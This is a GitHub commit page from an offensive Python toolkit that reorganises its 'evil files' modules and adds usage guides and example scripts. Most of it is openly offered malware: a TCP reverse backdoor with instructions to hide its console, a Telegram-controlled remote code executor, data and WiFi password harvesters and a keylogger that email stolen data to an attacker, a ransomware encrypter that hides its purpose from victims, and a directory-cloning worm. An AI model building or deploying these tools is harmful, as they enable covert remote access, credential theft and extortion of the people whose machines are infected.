-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #12 from dmdhrumilmistry/generate-executables
Create Classes for evil files modules
- Loading branch information
Showing
72 changed files
with
904 additions
and
803 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
24 changes: 15 additions & 9 deletions
24
...malwares/reverse_backdoor/TCP/HowToUse.md → HowTo/Malwares/ReverseBackdoor-TCP.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,32 +1,38 @@ | ||
|
||
# TCP backdoor | ||
|
||
## Change Values according to need | ||
|
||
- change ip and port to your desired values in listener.py and reverse_backdoor.py | ||
|
||
- run listener.py on attackers machine. | ||
|
||
- run backdoor.py on victims machine. | ||
|
||
## Create a executable\standalone | ||
|
||
- pip3 install pyinstaller | ||
|
||
- Creating executable with console: | ||
- Creating executable with console: | ||
|
||
```bash | ||
$ pyinstaller python_file.py --onefile | ||
pyinstaller python_file.py --onefile | ||
``` | ||
|
||
- Creating executable without console: | ||
- Creating executable without console: | ||
|
||
```bash | ||
$ pyinstaller python_file.py --onefile --noconsole | ||
pyinstaller python_file.py --onefile --noconsole | ||
``` | ||
|
||
|
||
> note : noconsole works when we're not using stream like stdin, stdout, stderr, etc. | ||
> note : noconsole works when we're not using stream like stdin, stdout, stderr, etc. | ||
> If we're using STDI/O streams then we have to set then to DEVNULL = open(os.devnull, 'wb') then set IOstreams to DEVNULL | ||
> if using subprocess.check_output then use subprocess.check_output(command, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL). | ||
> here stdio is being handled by check_output. so no need to handle stdio. | ||
|
||
## Create windows executable on linux | ||
- Install Wine | ||
- Download Python for windows | ||
- Install Downloaded python for windows using wine on linux | ||
|
||
- Install Wine | ||
- Download Python for windows | ||
- Install Downloaded python for windows using wine on linux | ||
- the other commands remain the same to create executable. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
# Send Email Requirements | ||
|
||
## Steps | ||
|
||
- Turn on 2FA | ||
- Go to GoogleAcc->Security->AppPassword->Custom | ||
- Copy generated key and use that as password | ||
|
||
## Use malwares.utils module | ||
|
||
```python | ||
from pyhtools.malwares.utils import send_mail | ||
|
||
send_mail( | ||
email = '[email protected]', | ||
password = 'your', | ||
receiver_mail = 'emails_separated_by_comma', | ||
message = 'your message', | ||
smtp_server = 'smtp.gmail.com', | ||
smtp_port= 587 | ||
) | ||
``` |
2 changes: 2 additions & 0 deletions
2
...wares/telegram_data_harvester/HowToUse.md → HowTo/Malwares/TelegramDataHarvester.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
5 changes: 2 additions & 3 deletions
5
...es/TelegramRemoteCodeExecutor/HowToUse.md → HowTo/Malwares/TelegramRemoteCodeExecutor.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
# Wireless Profile Harvester | ||
|
||
## HOW to use | ||
|
||
- Read [HowTo/Malwares/SendEmail.md](./SendEmail.md) to and use app password | ||
- Update email id and password (app password) | ||
- Create exe: pyinstaller.exe --onefile --icon='icon_path' -n 'name_of_file' .\wireless_profile_harvestor.py |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,13 @@ | ||
from argparse import ArgumentParser | ||
from pyhtools.detectors.arp_spoof_detector import SpoofDetector | ||
|
||
parser = ArgumentParser() | ||
parser.add_argument('-i', '--interface', dest='interface', | ||
help='checks for specific interface') | ||
|
||
args = parser.parse_args() | ||
interface = args.interface | ||
|
||
# Create spoof detector obj | ||
detector = SpoofDetector(interface) | ||
detector.capture_packets() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,14 @@ | ||
from curses import start_color | ||
''' | ||
Controls the compromised machine using telegram | ||
''' | ||
import pyhtools.evil_files.malwares.telegram_remote_code_executor.TelegramRemoteCodeExecutor as evil_bot | ||
|
||
# set API_KEY and CHAT_ID before starting bot | ||
# Note: to find user id, start the bot, and message this bot with /start | ||
evil_bot.API_KEY = 'your_bot_key/token' | ||
evil_bot.CHAT_ID = 0 # int - attacker's user id | ||
|
||
# start bot | ||
# Note: for windows create malware with runtime broker | ||
evil_bot.start_bot() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
from pyhtools.evil_files.malwares.telegram_data_harvester.harvester import TelegramHarvester | ||
|
||
|
||
tdata_harvester = TelegramHarvester( | ||
sender_email='dummy_email', # dummy email to send collected data | ||
sender_passwd='dummy_email_passwd', # dummy email account password for authentication | ||
server='smtp.gmail.com', # smtp email server domain | ||
port=587, # smtp server port | ||
receivers='attacker_email', # email where harvested data will sent | ||
) | ||
|
||
tdata_harvester.start() |
2 changes: 1 addition & 1 deletion
2
pyhtools/malwares/keylogger/dlogs.py → examples/EvilFiles/Malwares/key_logger.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,4 +1,4 @@ | ||
from keylogger import KeyLogger | ||
from pyhtools.evil_files.malwares.keylogger import KeyLogger | ||
|
||
key_logger = KeyLogger(email='yourgmailaccount', password='yourpassword', interval_in_secs=60) | ||
key_logger.run() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,13 @@ | ||
import imp | ||
from pyhtools.evil_files.malwares.wireless_password_harvester.harvester import WiFiPasswordHarvester | ||
|
||
# create obj | ||
harvester = WiFiPasswordHarvester( | ||
email='your_email', | ||
passwd='email_passwd', | ||
smtp_server='smtp.gmail.com', | ||
smtp_port=587, | ||
) | ||
|
||
# start harvester | ||
harvester.start() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,14 @@ | ||
from pyhtools.evil_files.ransomwares.dmsec.decrypter import DMSecDecrypter | ||
|
||
print('[*] Decrypting....') | ||
|
||
# specify paths to be decrypted | ||
PATHS = [r'paths_to_be_decrypted', ] | ||
|
||
KEY = input('[+] Enter KEY : ') | ||
|
||
# don't pass PATHS if all the drives are to be decrypted. | ||
encrypter = DMSecDecrypter(KEY, PATHS) | ||
encrypter.start() | ||
|
||
print('[*] Decrypted...') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
from pyhtools.evil_files.ransomwares.dmsec.encrypter import DMSecEncrypter | ||
|
||
# Print some meaningful text, so that user don't suspect program as ransomeware | ||
print('[*] Loading...') | ||
|
||
# Specify paths to be encrypted | ||
PATHS = [ | ||
r'path_to_be_encrypted', | ||
] | ||
|
||
# don't pass PATHS if all the drives are to be encrypted | ||
encrypter = DMSecEncrypter( | ||
paths=PATHS, | ||
email='yourgmailid', | ||
passwd='yourapppassword' | ||
smtp_server='smtp.gmail.com', | ||
smtp_port=587, | ||
) | ||
|
||
encrypter.start() | ||
print('[*] Completed') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,20 @@ | ||
from pyhtools.evil_files.worms.dir_cloner import DirCloner | ||
|
||
# create obj and path | ||
dir_worm = DirCloner() | ||
path = dir_worm.get_curr_drive_folder() | ||
|
||
# set cloning directory | ||
dir_clone_set_status = dir_worm.set_clone_path(path) | ||
|
||
# remove print statements while creating evil files | ||
if dir_clone_set_status: | ||
print(f"[*] Clone path : {path}") | ||
else: | ||
print(f"[!] Failed to set new clone path {path}") | ||
|
||
# for specific folder | ||
dir_worm.clone_dir(times=1, start_after=0) | ||
|
||
# for specific folder and its subfolder | ||
dir_worm.clone_all_dirs(times=1, start_after=0, path=path) |
Oops, something went wrong.